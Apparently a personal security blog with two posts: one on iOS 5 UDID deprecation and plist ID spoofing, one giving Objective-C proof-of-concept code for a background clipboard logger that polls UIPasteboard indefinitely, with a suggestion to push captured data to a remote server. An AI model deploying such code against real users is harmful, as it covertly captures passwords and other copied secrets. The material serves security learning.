Security Reliks

It was reported that as of iOS 5 Apple will no longer permit developers to utilize the device UDID (Unique Device Identifier). This has numerous functionality issues which will become evident (if they arn’t already). You can read the article here.

UDID

For those unfamiliar with iOS development, it is important to understand how UDIDs are utilized for use in applications. Rather than require the storage of credentials or a generated user ID within the user’s plist (properties) file, many applications rely upon an API call to locally grab the UDID and use that as the primary mode of identification between the server and the client. This removes the need to store passwords or other login credentials in a less safe environment. However, with the proposed changes developers will now need to generate their own unique IDs and store them within the applications plist file.

Application Spoofing/Hijacking

This change, however, may leave the device open to spoofing attacks (both targeted and brute-forced). Because a new application generated identifier will now reside within user accessible storage, the application is forced to trust possibly modified data. Any sort of salting or client-to-server encryption is also evaded because that is done by the application after fetching the stored ID and before the client contacts the server. This clearly stands out from normal network spoofing/hijacking, but can have the same result.

Solution

Admittedly, I havn’t put a ton of thought into a thorough solution. However, my initial assessment seems to indicate that if an application were to encrypt or encode the unique ID before sending it to the client, and again before storing it in the plist file. This would make modification of a stored ID impossible, as well as obfuscate it in transit to prevent sniffing the unencrypted ID. This bypasses the spoofing, as well as prevents a pass-the-hash type attack.

EDIT: Here is the proof-of-concept

iOS App Spoofing through plist Hijacking from Skyler Onken on Vimeo.

I just went through the iGoat project released by OWASP. Some of the exercises were a bit fun. Although not very complex or in depth, they pointed out security holes and aspects of iOS technology that I was not aware of.

One of the exercises noted that a generic UIPasteboard object exists that all applications have access to unless they declare their own. I figured, hey, why not create a sort of logger that would snag the data whenever it was copied to the clipboard. Easy enough.

Here is the code. Its very simple. Not really practical considering it would never get into the app store, but fun proof-of-concept:

@implementation iSneakAppDelegate
... snip ...
- (void)applicationDidEnterBackground:(UIApplication *)application
{
 dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
 NSLog(@"starting...");
 UIApplication* app = [UIApplication sharedApplication];
 UIBackgroundTaskIdentifier *bgTask;
//Leave empty
 bgTask = [app beginBackgroundTaskWithExpirationHandler:^{}];
 NSString* string = [[UIPasteboard generalPasteboard] string];
 while (true){
  NSString *newString = [[UIPasteboard generalPasteboard] string];
  if (![newString isEqualToString:string] && newString != nil){
   NSLog(@"Pasteboard: %@",[[UIPasteboard generalPasteboard] string] );
   string = [[UIPasteboard generalPasteboard] string];
  }
  sleep(5); //pause the loop for a few seconds
 }
});
}

This is pretty straight forward. It starts a background process, giving it a blank expiration handler to ensure that the process continues forever. I then store the current value of the clipboard and begin a loop. the loop checks for any changes to the clipboard contents every 5 seconds. If it is different, it then logs it.

Obviously other things you would want to do is to setup a remote server that you could push the logged data out to. Also, UIPasteboard can have other things besides strings, so it would be nice to add some robustness to handle other forms of data.